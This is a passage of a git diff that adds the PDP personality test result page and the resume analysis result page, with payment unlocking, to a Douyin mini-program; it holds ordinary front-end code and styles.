colorClass: 'fill-chameleon' } + ], + payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 }, + testResultId: null, + hasReloadedAfterPay: false + }, + + onLoad(options) { + const id = options && options.id + const type = options && options.type + if (id && type === 'pdp') { + this.setData({ testResultId: id }) + this.loadDetail(id) + return + } + const result = tt.getStorageSync('pdpResult') + if (result) { + this.setData({ result: withPercentagesInt(result) }) + this.initPayInfoFromRuntime('pdp') + } else { + tt.showToast({ title: '暂无测试结果', icon: 'none' }) + setTimeout(() => tt.navigateBack(), 1500) + } + }, + + loadDetail(id) { + const apiBase = app.globalData?.apiBase || '' + const token = app.globalData?.token || tt.getStorageSync('token') || '' + if (!apiBase) { tt.showToast({ title: '配置异常', icon: 'none' }); return } + tt.showLoading({ title: '加载中...' }) + tt.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: token ? { Authorization: `Bearer ${token}` } : {}, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const payload = res.data.data || {} + const data = payload.data || payload + const isPaid = !!payload.isPaid + const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 + const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) + const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) + this.setData({ result: withPercentagesInt(data) }) + const payInfo = { + requiresPayment: needPaymentToUnlock, + isPaid, + amountYuan: needPaymentToUnlock ? amountYuan : 0 + } + this.setData({ payInfo }) + } else { + tt.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) + } + }, + fail: () => tt.showToast({ title: '网络错误', icon: 'none' }), + complete: () => tt.hideLoading() + }) + }, + + initPayInfoFromRuntime(testType) { + app.getRuntimeConfig() + .then((cfg) => { + const reportRequires = cfg.reportRequiresPayment || {} + const pricing = cfg.pricing || {} + const requiresPayment = !!(reportRequires && reportRequires[testType]) + const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) + this.setData({ + payInfo: { requiresPayment, isPaid: false, amountYuan } + }) + }) + .catch(() => this.setData({ payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } })) + }, + + unlockFullReport() { + const { payInfo, testResultId, hasReloadedAfterPay } = this.data + if (!payInfo.requiresPayment || payInfo.isPaid) return + app.ensureLogin && app.ensureLogin().then((logged) => { + if (!logged) { tt.showToast({ title: '请先登录', icon: 'none' }); return } + payment.purchasePdpTest({ + testResultId: testResultId || undefined, + success: () => { + tt.showToast({ title: '已解锁完整报告', icon: 'success' }) + this.setData({ 'payInfo.isPaid': true }) + if (testResultId && !hasReloadedAfterPay) { + this.setData({ hasReloadedAfterPay: true }) + setTimeout(() => this.loadDetail(testResultId), 500) + } + }, + fail: () => {} + }) + }) + }, + + retakeTest() { + if (!this.data.testResultId) { + tt.removeStorageSync('pdpResult') + } + tt.navigateTo({ url: '/pages/test/pdp' }) + }, + + goHome() { + const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' + if (scope === 'enterprise') { + tt.navigateTo({ url: '/pages/enterprise/index' }) + } else { + tt.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + const result = this.data.result + const { getSharePathByScope } = require('../../utils/share') + return { + title: `我的PDP类型是${result?.description?.type}${result?.description?.emoji},来测测你的吧!`, + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const result = this.data.result + const { buildShareQuery } = require('../../utils/share') + return { + title: `我的PDP类型是${result?.description?.type}${result?.description?.emoji},来测测你的吧!`, + query: buildShareQuery() + } + } +}) diff --git a/douyin-miniprogram/pages/result/pdp.json b/douyin-miniprogram/pages/result/pdp.json new file mode 100644 index 0000000..f9e3a76 --- /dev/null +++ b/douyin-miniprogram/pages/result/pdp.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "PDP结果", + "navigationBarBackgroundColor": "#F59E0B", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/result/pdp.ttml b/douyin-miniprogram/pages/result/pdp.ttml new file mode 100644 index 0000000..0eae46e --- /dev/null +++ b/douyin-miniprogram/pages/result/pdp.ttml @@ -0,0 +1,87 @@ + + + + + + + PDP性格类型 + {{result.description.type || result.dominantType}}{{result.description.emoji || ''}} + {{result.description.title}} + {{result.description.description}} + + + + + + 完整PDP报告 + • 五维得分详情 + • 性格特征与团队角色 + • 推荐职业 + + + + 解锁完整报告 + ¥{{payInfo.amountYuan}} / 次 + + + + + + PDP得分详情 + + + {{item.emoji}} {{item.label}} + {{result.percentagesInt && result.percentagesInt[item.type] != null ? result.percentagesInt[item.type] + '%' : '0%'}} + + + + + + + + + + 性格特征 + + 优势 + + + {{item}} + + + + 需要注意的方面 + + + {{item}} + + + + + + 团队角色 + {{result.description.teamRole}} + + + + 推荐职业 + + + {{item}} + + + + + + + 重新测试 + + + 返回首页 + + + + + diff --git a/douyin-miniprogram/pages/result/pdp.ttss b/douyin-miniprogram/pages/result/pdp.ttss new file mode 100644 index 0000000..687e538 --- /dev/null +++ b/douyin-miniprogram/pages/result/pdp.ttss @@ -0,0 +1,211 @@ +/* pages/result/pdp.wxss - 按旧版模板重构 */ +.result-page { + width: 100%; + min-height: 100vh; + background-color: #f5f5f5; +} + +.content-scroll { + width: 100%; + height: 100vh; +} + +.content-container { + padding: 32rpx; + padding-bottom: 64rpx; +} + +.type-card, +.analysis-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + margin-bottom: 32rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.type-header { + text-align: center; + margin-bottom: 40rpx; +} + +.type-label { + display: block; + font-size: 30rpx; + color: #333; +} + +.type-value { + display: block; + font-size: 56rpx; + font-weight: bold; + color: #8b5cf6; + margin: 14rpx 0; +} + +.type-title { + display: block; + font-size: 34rpx; + color: #333; + margin-bottom: 16rpx; +} + +.type-description { + display: block; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.section-title, +.card-title { + display: block; + font-size: 34rpx; + font-weight: bold; + color: #333; + margin-bottom: 20rpx; +} + +.score-item { + margin-bottom: 18rpx; +} + +.score-header { + display: flex; + justify-content: space-between; + margin-bottom: 8rpx; +} + +.score-label, +.score-value { + font-size: 28rpx; + color: #666; +} + +.progress-bar-container { + width: 100%; + height: 14rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + border-radius: 8rpx; +} + +.fill-tiger { background: #ef4444; } +.fill-peacock { background: #eab308; } +.fill-koala { background: #22c55e; } +.fill-owl { background: #3b82f6; } +.fill-chameleon { background: #a855f7; } + +.trait-section { + margin-bottom: 18rpx; +} + +.trait-title { + display: block; + font-size: 30rpx; + color: #333; + margin-bottom: 8rpx; +} + +.trait-item { + display: flex; + align-items: flex-start; + margin-bottom: 6rpx; +} + +.trait-bullet { + margin-right: 12rpx; + color: #8b5cf6; +} + +.trait-text { + flex: 1; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.relationship-text { + font-size: 28rpx; + color: #666; + line-height: 1.7; +} + +.career-item { + display: flex; + align-items: center; + margin-bottom: 16rpx; +} + +.career-dot { + width: 14rpx; + height: 14rpx; + background-color: #8b5cf6; + border-radius: 50%; + margin-right: 16rpx; +} + +.career-text { + flex: 1; + font-size: 28rpx; + color: #333; +} + +.action-section { + margin-top: 16rpx; + padding-bottom: 40rpx; +} + +.btn { + display: flex; + align-items: center; + justify-content: center; + width: 100% !important; + padding: 28rpx; + border-radius: 16rpx; + margin-bottom: 20rpx; + border: none; + box-sizing: border-box; + overflow: hidden; +} + +.btn::after { + border: none; +} + +.btn-primary { + background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); + box-shadow: 0 8rpx 24rpx rgba(245, 158, 11, 0.3); +} + +.btn-outline { + background: #fff; + border: 2rpx solid #F59E0B; +} + +.btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +.btn-text-outline { + font-size: 30rpx; + color: #F59E0B; + font-weight: 500; +} + +.paywall-card { margin-top: 24rpx; border-radius: 24rpx; overflow: hidden; } +.paywall-content { position: relative; } +.paywall-blur { padding: 32rpx 24rpx 140rpx; border-radius: 24rpx; background: rgba(255,255,255,0.7); backdrop-filter: blur(18rpx); } +.paywall-mask { position: absolute; left: 0; top: 0; right: 0; bottom: 0; border-radius: 24rpx; background: linear-gradient(180deg, rgba(255,255,255,0.1), rgba(245,245,245,0.98)); pointer-events: none; } +.paywall-fake-title { display: block; font-size: 30rpx; font-weight: 600; color: #444; margin-bottom: 16rpx; } +.paywall-fake-line { display: block; font-size: 26rpx; color: #888; line-height: 1.8; } +.paywall-btn { position: absolute; left: 5%; right: 5%; width: 90%; bottom: 56rpx; padding: 20rpx 0; border-radius: 999rpx; background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); box-shadow: 0 8rpx 24rpx rgba(245,158,11,0.35); display: flex; flex-direction: row; align-items: baseline; justify-content: center; gap: 12rpx; } +.paywall-btn-main { font-size: 30rpx; color: #fff; font-weight: 600; } +.paywall-btn-price { font-size: 24rpx; color: #ffe5f0; } diff --git a/douyin-miniprogram/pages/result/resume.js b/douyin-miniprogram/pages/result/resume.js new file mode 100644 index 0000000..cf816af --- /dev/null +++ b/douyin-miniprogram/pages/result/resume.js @@ -0,0 +1,524 @@ +// pages/result/resume.js - 简历综合分析结果页 +const app = getApp() +const payment = require('../../utils/payment') + +Page({ + data: { + loading: true, + error: '', + content: '', + sections: [], + resumeData: null, + fileUrl: '', + progress: 0, + analyzingTip: '正在准备分析数据...', + analyzingTitle: '综合分析生成中', + // 支付相关 + payInfo: { + requiresPayment: false, + isPaid: false, + amountYuan: 0 + }, + testResultId: 0, + paying: false + }, + + onLoad(options) { + const fileUrl = options.fileUrl ? decodeURIComponent(options.fileUrl) : '' + this.setData({ fileUrl }) + + // 从历史记录进入:直接读已存的数据,不重新生成 + if (options.id && options.type === 'resume') { + this.loadFromHistory(options.id) + } else { + this.fetchResumeAnalysis() + } + }, + + loadFromHistory(id) { + this.setData({ loading: true, error: '', content: '', sections: [], resumeData: null }) + const apiBase = (app.globalData && app.globalData.apiBase) || tt.getStorageSync('apiBase') || '' + const token = (app.globalData && app.globalData.token) || tt.getStorageSync('token') || '' + tt.request({ + url: `${apiBase}/api/test/detail?id=${id}`, + method: 'GET', + timeout: 15000, + header: { 'Authorization': token ? `Bearer ${token}` : '' }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.data) { + const payload = res.data.data + let data = payload.data || payload + + // 兼容:历史数据可能是字符串,或包在 content 里的 JSON 字符串 + data = this.normalizeStructuredData(data) + + const structured = !!data && data._structured === true + + let content = '' + let sections = [] + + if (structured) { + const built = this.buildSectionsFromStructured(data) + content = built.content + sections = built.sections + } else { + const raw = data.content || '' + content = raw + sections = this.parseContent(raw) + } + const requiresPayment = !!payload.requiresPayment + const isPaid = !!payload.isPaid + const amountYuan = payload.paidAmount ? payload.paidAmount / 100 : 0 + this.setData({ + loading: false, + testResultId: payload.id || parseInt(id) || 0, + content: (!requiresPayment || isPaid) ? content : '', + sections: (!requiresPayment || isPaid) ? sections : [], + resumeData: structured ? data : null, + payInfo: { requiresPayment: requiresPayment && !isPaid, isPaid, amountYuan } + }) + } else { + this.setData({ loading: false, error: '加载历史记录失败,请返回重试。' }) + } + }, + fail: () => { + this.setData({ loading: false, error: '网络请求失败,请检查网络后重试。' }) + } + }) + }, + + fetchResumeAnalysis() { + this.setData({ loading: true, error: '', content: '', sections: [], resumeData: null, progress: 0 }) + + const tips = [ + '正在汇总各项测评结果...', + '正在解析简历内容...', + '正在进行深度匹配分析...', + '正在生成综合评估报告...', + '分析即将完成,请稍候...' + ] + let progress = 0 + let tipIndex = 0 + + // 进度动画 + const timer = setInterval(() => { + progress += 2 + if (progress > 98) progress = 98 + if (progress > (tipIndex + 1) * 18 && tipIndex < tips.length - 1) tipIndex++ + this.setData({ progress: Math.floor(progress), analyzingTip: tips[tipIndex] }) + }, 200) + + const apiBase = (app.globalData && app.globalData.apiBase) || tt.getStorageSync('apiBase') || '' + const token = (app.globalData && app.globalData.token) || tt.getStorageSync('token') || '' + + // 获取 enterpriseId + const gd = app.globalData || {} + const storedUser = tt.getStorageSync('userInfo') || null + const enterpriseId = gd.enterpriseIdFromScene + || (gd.userInfo && gd.userInfo.enterpriseId) + || (storedUser && storedUser.enterpriseId) + || null + + const postData = {} + if (this.data.fileUrl) postData.fileUrl = this.data.fileUrl + if (enterpriseId) postData.enterpriseId = enterpriseId + + tt.request({ + url: `${apiBase}/api/resume/analyze`, + method: 'POST', + timeout: 120000, + header: { + 'Content-Type': 'application/json', + 'Authorization': token ? `Bearer ${token}` : '' + }, + data: postData, + success: (res) => { + clearInterval(timer) + if (res.statusCode === 200 && res.data) { + if (res.data.code === 200) { + let d = res.data.data || {} + const p = d._payment || {} + const requiresPayment = !!p.requiresPayment + const amountYuan = p.amountYuan || 0 + const resultId = d._testResultId || 0 + + // 兼容:API 直接返回结构化对象,或把 JSON 放在 content 里 + d = this.normalizeStructuredData(d) + + const structured = !!d && d._structured === true + + let content = '' + let sections = [] + + if (structured) { + const built = this.buildSectionsFromStructured(d) + content = built.content + sections = built.sections + } else { + const raw = d.content || '' + content = raw || '分析已完成,但未返回可展示的内容。' + sections = this.parseContent(raw) + } + + this.setData({ + loading: false, + progress: 100, + testResultId: resultId, + content: requiresPayment ? '' : content, + sections: requiresPayment ? [] : sections, + resumeData: structured ? d : null, + payInfo: { requiresPayment, isPaid: !requiresPayment, amountYuan } + }) + } else { + this.setData({ + loading: false, + error: res.data.message || res.data.msg || '综合分析失败,请稍后重试。' + }) + } + } else { + this.setData({ + loading: false, + error: '服务器返回异常,请稍后重试。' + }) + } + }, + fail: (err) => { + clearInterval(timer) + const isTimeout = err && (err.errMsg || '').indexOf('timeout') !== -1 + this.setData({ + loading: false, + error: isTimeout ? '分析耗时较长,请点击「重新生成」再试。' : '网络请求失败,请检查网络后重试。' + }) + } + }) + }, + + // 支付解锁 + doPay() { + if (this.data.paying) return + this.setData({ paying: true }) + const testResultId = this.data.testResultId || 0 + payment.purchaseResumeAnalysis({ + testResultId: testResultId > 0 ? testResultId : undefined, + success: () => { + this.setData({ paying: false, 'payInfo.requiresPayment': false, 'payInfo.isPaid': true }) + // 支付成功后重新拉取完整内容 + if (testResultId > 0) { + this.loadFromHistory(testResultId) + } + }, + fail: (err) => { + this.setData({ paying: false }) + tt.showToast({ title: (err && err.message) || '支付失败,请重试', icon: 'none' }) + } + }) + }, + + goHome() { + const scope = (app.globalData && app.globalData.appScope) || 'personal' + if (scope === 'enterprise') { + tt.navigateTo({ url: '/pages/enterprise/index' }) + } else { + tt.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + return { + title: '我刚刚完成了一份人才简历综合分析报告,快来看看吧!', + path: '/pages/index/index' + } + }, + + onPullDownRefresh() { + this.fetchResumeAnalysis() + tt.stopPullDownRefresh() + }, + + // 智能解析 AI 输出的长文本,按标题分块 + parseContent(content) { + if (!content) return []; + + // 1. 预处理:去掉首尾空行 + content = content.trim(); + + // 2. 尝试分割 + // 使用正则匹配头部标记:## Title 或 ### Title 或 **一、Title** 或 一、**Title** + const parts = content.split(/\n(?=#{2,4}\s+|\*\*?[\d一二三四五六七八九十]+[、\.].*?\*\*?|【.*?】)/); + const sections = []; + + parts.forEach(part => { + let title = ''; + let body = ''; + + // 匹配 ## 标题 + const hMatch = part.match(/^(?:#{2,4}\s+)(.*?)\n([\s\S]*)$/m); + // 匹配 **一、标题** 或 一、**标题** + const bMatch = part.match(/^(?:\*\*?[\d一二三四五六七八九十]+[、\.].*?\*\*?)([\s\S]*)$/m); + // 匹配 【标题】 + const kMatch = part.match(/^(?:【(.*?)】)\n?([\s\S]*)$/m); + + if (hMatch) { + title = hMatch[1].replace(/[\*#]/g, '').trim(); + body = hMatch[2].trim(); + } else if (kMatch) { + title = kMatch[1].trim(); + body = kMatch[2].trim(); + } else if (bMatch) { + const rawTitleMatch = part.match(/^(\*\*?.*?\*\*?)/); + title = rawTitleMatch ? rawTitleMatch[1].replace(/[\*#]/g, '').trim() : ''; + body = bMatch[1].trim(); + } else { + body = part.trim(); + } + + // 清洗正文中的 Markdown 符号 + body = this.cleanMarkdown(body); + + if (title || body) { + sections.push({ + title: title || '报告详情', + icon: this.getSectionIcon(title), + body: body + }); + } + }); + + return sections; + }, + + // 兼容各种后端返回形态,统一整理为结构化对象或普通文本 + normalizeStructuredData(raw) { + let data = raw + + // 字符串:尝试直接当 JSON 解析 + if (typeof data === 'string') { + try { + const parsed = JSON.parse(data) + if (parsed && typeof parsed === 'object') { + data = parsed + } + } catch (e) {} + } + + // 包在 content 里的 JSON 字符串 + if (data && typeof data === 'object' && typeof data.content === 'string') { + const text = data.content.trim() + if (text.startsWith('{')) { + try { + const parsedInner = JSON.parse(text) + if (parsedInner && typeof parsedInner === 'object') { + // 把外层 fileUrl 等透传下去 + if (data.fileUrl && !parsedInner.fileUrl) { + parsedInner.fileUrl = data.fileUrl + } + data = parsedInner + } + } catch (e) {} + } + } + + // 标记是否为结构化 JSON + if ( + data && + typeof data === 'object' && + (data.version === 2 || + !!data.overview || + !!data.portrait || + !!data.hrView || + !!data.bossView) + ) { + data._structured = true + } + + return data + }, + + // 从结构化 JSON 构建前端展示区块 + buildSectionsFromStructured(data) { + const sections = [] + + if (data.overview) { + sections.push({ + title: '整体人才画像', + icon: '👤', + body: this.cleanMarkdown(data.overview) + }) + } + + if (data.resumeHighlights) { + sections.push({ + title: '简历要点', + icon: '📄', + body: this.cleanMarkdown(data.resumeHighlights) + }) + } + + const portrait = data.portrait || {} + if ( + (portrait.coreStrengths && portrait.coreStrengths.length) || + (portrait.coreRisks && portrait.coreRisks.length) || + portrait.workStyle + ) { + const lines = [] + if (portrait.coreStrengths && portrait.coreStrengths.length) { + lines.push('【核心优势】') + lines.push(...portrait.coreStrengths.map((s) => '- ' + s)) + } + if (portrait.coreRisks && portrait.coreRisks.length) { + lines.push('') + lines.push('【潜在风险】') + lines.push(...portrait.coreRisks.map((s) => '- ' + s)) + } + if (portrait.workStyle) { + lines.push('') + lines.push('【工作风格】') + lines.push(portrait.workStyle) + } + sections.push({ + title: '人才画像', + icon: '🌈', + body: this.cleanMarkdown(lines.join('\n')) + }) + } + + const hrView = data.hrView || {} + const role = hrView.roleRecommend || {} + if ((role.bestFit && role.bestFit.length) || (role.notSuitable && role.notSuitable.length)) { + const lines = [] + if (role.bestFit && role.bestFit.length) { + lines.push('【推荐岗位】') + lines.push(...role.bestFit.map((s) => '- ' + s)) + } + if (role.notSuitable && role.notSuitable.length) { + lines.push('') + lines.push('【不适合场景】') + lines.push(...role.notSuitable.map((s) => '- ' + s)) + } + sections.push({ + title: '岗位匹配建议(HR视角)', + icon: '🧭', + body: this.cleanMarkdown(lines.join('\n')) + }) + } + + if (hrView.lifecycle) { + const lc = hrView.lifecycle + const parts = [] + if (lc.onboarding) parts.push('【入职】' + lc.onboarding) + if (lc.probation) parts.push('【试用期】' + lc.probation) + if (lc.growth) parts.push('【成长】' + lc.growth) + if (lc.retention) parts.push('【留存】' + lc.retention) + if (parts.length) { + sections.push({ + title: '员工全生命周期预测', + icon: '📈', + body: this.cleanMarkdown(parts.join('\n\n')) + }) + } + } + + if (hrView.performance || hrView.teamFit || hrView.complianceRisk) { + const lines = [] + if (hrView.performance) { + lines.push('【绩效潜力】' + (hrView.performance.potential || '')) + if (hrView.performance.drivers && hrView.performance.drivers.length) { + lines.push('驱动因素:' + hrView.performance.drivers.join(';')) + } + if (hrView.performance.risks && hrView.performance.risks.length) { + lines.push('风险提示:' + hrView.performance.risks.join(';')) + } + lines.push('') + } + if (hrView.teamFit) { + if (hrView.teamFit.bestTeam) { + lines.push('【适配团队】' + hrView.teamFit.bestTeam) + } + if (hrView.teamFit.manageAdvice) { + lines.push('【管理建议】' + hrView.teamFit.manageAdvice) + } + lines.push('') + } + if (hrView.complianceRisk) { + const level = hrView.complianceRisk.level || '' + const notes = hrView.complianceRisk.notes || '' + lines.push('【合规风险】' + level + (notes ? ';' + notes : '')) + } + if (lines.length) { + sections.push({ + title: '绩效 · 团队 · 合规', + icon: '📊', + body: this.cleanMarkdown(lines.join('\n')) + }) + } + } + + const bossView = data.bossView || {} + if (bossView.headline || (bossView.metrics && bossView.metrics.length) || bossView.costInsight) { + const lines = [] + if (bossView.headline) { + lines.push('【一句话结论】' + bossView.headline) + } + if (bossView.metrics && bossView.metrics.length) { + lines.push('') + lines.push('【关键指标】') + bossView.metrics.forEach((m) => { + if (!m) return + lines.push(`- ${m.label}:${m.value || ''}`) + }) + } + if (bossView.costInsight) { + lines.push('') + lines.push('【用人成本与产出】' + bossView.costInsight) + } + sections.push({ + title: '给老板看的摘要', + icon: '💼', + body: this.cleanMarkdown(lines.join('\n')) + }) + } + + const mainContent = + data.overview || + data.resumeHighlights || + (data.portrait && data.portrait.workStyle) || + '' + + return { + content: this.cleanMarkdown(mainContent), + sections + } + }, + + // 清洗正文中的 Markdown 符号 + cleanMarkdown(text) { + if (!text) return ''; + return text + .replace(/\*\*\*(.+?)\*\*\*/g, '$1') // ***bold italic*** + .replace(/\*\*(.+?)\*\*/g, '$1') // **bold** + .replace(/\*(.+?)\*/g, '$1') // *italic* + .replace(/^#{1,6}\s+/gm, '') // ## 标题符号 + .replace(/^[-*]\s+/gm, '• ') // - 无序列表 → 圆点 + .replace(/^\d+\.\s+/gm, (m) => m) // 保留有序列表编号 + .replace(/`(.+?)`/g, '$1') // `code` + .replace(/\[(.+?)\]\(.+?\)/g, '$1') // [链接](url) → 链接文字 + .trim(); + }, + + // 根据标题关键词匹配图标 + getSectionIcon(title) { + if (!title) return '📝'; + const map = { + '评估': '📊', '综述': '📊', '评价': '📊', '总评': '📊', + '优势': '🌟', '特质': '🌟', '性格': '🌟', + '岗位': '🎯', '适配': '🎯', '匹配': '🎯', '核心': '🎯', + '职业': '💼', '发展': '💼', '建议': '💡', '提升': '💡', + '面试': '🗣️', '录用': '✅', '风险': '⚠️' + }; + for (let key in map) { + if (title.indexOf(key) !== -1) return map[key]; + } + return '📝'; + } +}) + diff --git a/douyin-miniprogram/pages/result/resume.json b/douyin-miniprogram/pages/result/resume.json new file mode 100644 index 0000000..8d9d593 --- /dev/null +++ b/douyin-miniprogram/pages/result/resume.json @@ -0,0 +1,4 @@ +{ + "navigationBarTitleText": "简历综合分析" +} + diff --git a/douyin-miniprogram/pages/result/resume.ttml b/douyin-miniprogram/pages/result/resume.ttml new file mode 100644 index 0000000..97cd1d6 --- /dev/null +++ b/douyin-miniprogram/pages/result/resume.ttml @@ -0,0 +1,86 @@ + + + + + + + + + {{analyzingTitle || '正在分析中'}} + {{analyzingTip}} + + + + 这个过程可能需要30秒到1分钟,请耐心等待... + + + + + + + + + {{error ? '⚠️' : '📋'}} + + {{error ? '生成失败' : '人才综合评估报告'}} + {{error ? '请检查后重新生成' : '基于测评结果 · 综合分析'}} + + + + + + 失败原因 + {{error}} + + 点击重新生成 + + + + + + 🔒 + 报告已生成,需付费解锁 + 完整的简历综合分析报告已生成\n支付后即可查看全部内容 + + 解锁价格 + ¥{{payInfo.amountYuan}} + + + {{paying ? '支付中...' : '立即支付解锁'}} + + + + + + + + {{item.icon}} + {{item.title}} + + + {{item.body}} + + + + + + + 综合分析综评 + {{content}} + + + + + + + 重新分析生成 + + + 返回首页 + + + + + diff --git a/douyin-miniprogram/pages/result/resume.ttss b/douyin-miniprogram/pages/result/resume.ttss new file mode 100644 index 0000000..ea19cef --- /dev/null +++ b/douyin-miniprogram/pages/result/resume.ttss @@ -0,0 +1,386 @@ +/* pages/result/resume.wxss - 简历综合分析结果页 */ +.container { + min-height: 100vh; + background-color: #f5f5f5; + padding: 0 24rpx 60rpx; +} + +/* ========== 分析中模态框 ========== */ +.analyzing-modal { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background-color: rgba(0, 0, 0, 0.7); + display: flex; + align-items: center; + justify-content: center; + z-index: 9999; +} + +.analyzing-content { + background-color: #fff; + border-radius: 24rpx; + padding: 80rpx 60rpx; + width: 560rpx; + display: flex; + flex-direction: column; + align-items: center; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.15); +} + +.analyzing-icon { + width: 120rpx; + height: 120rpx; + margin-bottom: 40rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.spinner { + width: 120rpx; + height: 120rpx; + border: 8rpx solid #e0e0e0; + border-top-color: #e63946; + border-radius: 50%; + animation: spin 1s linear infinite; +} + +@keyframes spin { + to { transform: rotate(360deg); } +} + +.analyzing-title { + font-size: 36rpx; + font-weight: 600; + color: #333; + margin-bottom: 16rpx; +} + +.analyzing-desc { + font-size: 28rpx; + color: #e63946; + margin-bottom: 24rpx; + text-align: center; + font-weight: 500; +} + +.analyzing-bar { + width: 400rpx; + height: 12rpx; + background: #e5e5e5; + border-radius: 6rpx; + overflow: hidden; + margin-bottom: 24rpx; +} + +.analyzing-bar-fill { + height: 100%; + background: linear-gradient(90deg, #e63946, #ff6b9d); + border-radius: 6rpx; + transition: width 0.3s ease; +} + +.analyzing-hint { + font-size: 24rpx; + color: #999; + text-align: center; + line-height: 1.6; +} + +/* ========== 顶部 Hero 区域 ========== */ +.hero-banner { + display: flex; + align-items: center; + border-radius: 20rpx; + padding: 32rpx 28rpx; + margin: 24rpx 0; + gap: 20rpx; +} + +.hero-success { + background: linear-gradient(135deg, #1a1a2e 0%, #3a3a5c 100%); +} + +.hero-error { + background: linear-gradient(135deg, #c62828 0%, #e53935 100%); +} + +.hero-icon { + font-size: 64rpx; + line-height: 1; + flex-shrink: 0; +} + +.hero-text-wrap { + display: flex; + flex-direction: column; + gap: 8rpx; +} + +.hero-title { + font-size: 34rpx; + font-weight: 700; + color: #fff; + display: block; +} + +.hero-sub { + font-size: 24rpx; + color: rgba(255, 255, 255, 0.65); + display: block; +} + +/* ========== 通用卡片 ========== */ +.card { + background-color: #fff; + border-radius: 16rpx; + padding: 40rpx 32rpx; + margin-bottom: 24rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.05); + word-wrap: break-word; +} + +.card-title { + font-size: 34rpx; + font-weight: 700; + color: #1a1a2e; + display: block; + margin-bottom: 24rpx; + border-left: 8rpx solid #e63946; + padding-left: 20rpx; +} + +.card-text { + font-size: 28rpx; + color: #333; + line-height: 1.8; + display: block; + white-space: pre-wrap; +} + +.error-title { + color: #f44336; + border-left-color: #f44336; +} + +.error-message { + color: #666; + background-color: #f9f9f9; + padding: 20rpx; + border-radius: 12rpx; +} + +.action-btn-retry { + margin-top: 32rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + height: 88rpx; + border-radius: 44rpx; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 6rpx 16rpx rgba(230, 57, 70, 0.25); +} + +.retry-text { + font-size: 30rpx; + color: #fff; + font-weight: 600; +} + +/* ========== 分块卡片 ========== */ +.section-card { + padding: 0; + overflow: hidden; +} + +.section-header { + display: flex; + align-items: center; + padding: 28rpx 32rpx 20rpx; + background: linear-gradient(135deg, #fff5f5 0%, #fff 100%); + border-bottom: 1rpx solid #f5f5f5; +} + +.section-icon { + font-size: 40rpx; + margin-right: 16rpx; + line-height: 1; +} + +.section-title-text { + font-size: 30rpx; + font-weight: 700; + color: #1a1a2e; + flex: 1; + display: block; +} + +.section-body { + padding: 24rpx 32rpx 32rpx; +} + +.section-body .content-text { + font-size: 27rpx; + color: #444; + line-height: 1.9; + letter-spacing: 0.5rpx; +} + +/* ========== 操作按钮 ========== */ +.action-section { + margin-top: 16rpx; + padding-bottom: 40rpx; +} + +.btn { + display: flex; + align-items: center; + justify-content: center; + width: 100%!important; + height: 100rpx; + min-height: 100rpx; + border-radius: 28rpx; + margin-bottom: 20rpx; + padding: 0; + border: none; + line-height: 100rpx; + box-sizing: border-box; + overflow: hidden; +} + +.btn::after { + border: none; +} + +.btn-primary { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.btn-outline { + background: #fff; + border: 2rpx solid #e63946; +} + +.btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +.btn-text-outline { + font-size: 30rpx; + color: #e63946; + font-weight: 500; +} + +/* ========== 支付解锁卡片 ========== */ +.pay-gate-card { + display: flex; + flex-direction: column; + align-items: center; + padding: 60rpx 40rpx 48rpx; + text-align: center; +} + +.pay-gate-icon { + font-size: 80rpx; + margin-bottom: 24rpx; +} + +.pay-gate-title { + font-size: 36rpx; + font-weight: 700; + color: #1f2937; + margin-bottom: 16rpx; +} + +.pay-gate-desc { + font-size: 28rpx; + color: #6b7280; + line-height: 1.6; + margin-bottom: 36rpx; +} + +.pay-gate-amount { + display: flex; + align-items: center; + gap: 16rpx; + background: #fff5f5; + border-radius: 20rpx; + padding: 20rpx 40rpx; + margin-bottom: 40rpx; +} + +.pay-amount-label { + font-size: 26rpx; + color: #6b7280; +} + +.pay-amount-value { + font-size: 52rpx; + font-weight: 800; + color: #e63946; +} + +.pay-gate-btn { + width: 100%; + height: 96rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 48rpx; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.35); +} + +.pay-gate-btn.paying { + opacity: 0.7; +} + +.pay-gate-btn-text { + font-size: 32rpx; + font-weight: 700; + color: #fff; +} + +/* AI 生成内容标识横幅(监管合规,始终显示) */ +.ai-disclosure-banner { + display: 